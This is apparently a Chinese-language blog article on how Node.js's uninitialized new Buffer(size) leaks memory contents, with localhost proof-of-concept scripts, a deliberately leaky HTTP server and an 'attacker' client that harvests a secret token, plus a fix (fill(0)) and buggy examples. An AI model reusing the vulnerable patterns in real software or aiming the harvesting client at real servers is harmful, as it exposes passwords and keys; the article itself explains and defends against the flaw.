Node.js:Buffer知道一切

導語

如果你的服務端代碼在每一情況下泄漏了未初始化的Buffer對象,那麼我們就可以從客戶端獲取到的Buffer中取出敏感信息。敏感信息可能爲HTTP流量、數據庫密碼、私有證書、源代碼或者配置文件信息等。
這不是新發現的漏洞,這是Buffer API本身設計所決定的,Buffer(number)非常類似malloc(),並不是每一個人都會看API文檔的,這就造成敏感信息泄露事件。我認爲這個API設計並不是很合理,讓我們來看看如何解決吧。

原理

Buffer對象不像TypedArrays一樣,它是不會在你使用Buffer(size)的時候去清除原內存裏的內容,這就可能造成以前存儲的數據泄漏。我們在什麼情況下會使用Buffer呢,大概是幾乎每一個I/O操作,讀取一個文件、導入模塊、接受網絡數據流、傳遞數據到加密模塊。

實驗

Hardcoded variable:

var token = 'paSsWord!ASD, totally secret!';
for (var step = 0; step < 100000; step++) {
    var buf = (new Buffer(200)).toString('ascii');
    if (buf.indexOf(token) !== -1) {
        console.log('Found at step ' + step + ': ' + buf);
    }
}

這裏寫圖片描述

Comment (注意這裏輸出了源代碼):

var token = 'pass' + 'word!ASD';
//password!ASD
for (var step = 0; step < 100000; step++) {
    var buf = (new Buffer(100)).toString('ascii');
    if (buf.indexOf(token) !== -1) {
        console.log('Found at step ' + step + ': ' + buf);
    }
}

這裏寫圖片描述

Crypto:

var crypto = require('crypto');
var token = 'password' + Math.random().toString(32);
crypto.pbkdf2(token, 'salt', 1, 2, function(err, result) {} )
for (var step = 0; step < 100000; step++) {
    var buf = (new Buffer(200)).toString('ascii');
    var ind = buf.indexOf(token);
    if (ind !== -1) {
        console.log('Found at step ' + step + ': ' + buf);
    }
}

這裏寫圖片描述

http :

server.js:

require('http').createServer(function(req, res) {
    if (/^\/in\//.test(req.url)) {
        req.on('data', function (chunk) {});
        req.on('end', function() {
            res.end();
        });
        return;
    }
    if (/^\/out\//.test(req.url)) {
        var x = new Buffer(1000);
        res.write(x);
        res.end();
        return;
    }
    res.end();
}).listen(7777);

client.js:

// Two clients in one:
//   valid() is the valid client that sends the token.
//   attacker() makes the server to leak the data and inspects it.

var http = require('http');
var token = 'MySecretKey';

function attacker() {
    http.request({host: 'localhost', port: 7777, path: '/out/'}, function(res) {
        res.on('data', function (chunk) {
            var data = chunk.toString();
            data = data.toString('utf-8');
            if (data.indexOf(token) !== -1) {
                console.log('found!');
                console.log(data);
            }
        });
        res.on('end', attacker);
    }).end();
}

for (var i = 0; i < 10; i++) {
    attacker();
}

function valid() {
    var req = http.request({host: 'localhost', port: 7777, path: '/in/', method: 'POST'}, function(res) {
        res.on('data', function() {});
        res.on('end', function() {
            setTimeout(valid, 100);
        });
    });
    req.write(token);
    req.end();
}
valid();

這裏寫圖片描述

可以看到寫入的token泄漏出來了。

防禦

確保你的Buffer有初始化操作。

最簡單有效的方法就是填充數據:var buf = new Buffer(size).fill(0)

當然如何你對自己使用內存非常有自信也是不用初始化的,但是要小心爲重,比如下面的錯誤代碼

function makeBufferFromData(data) {
  var buf = new Buffer(data.length * 2);
  for (var i = 0; i < data.length; i++) {
    if (data[i] !== 0) {
      buf[2 * i] =  buf[2 * i + 1] = data[i];
    }
  }
  return buf;
}

或者

function makeBufferFromData(data) {
  var buf = new Buffer(data.length * 2);
  for (var i = 0; i < data.length; i++) {
    if (data[i] === 0) {
      // Abort and return partial content
      return buf;
    }
    buf[2 * i] =  buf[2 * i + 1] = data[i];
  }
  return buf;
}
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章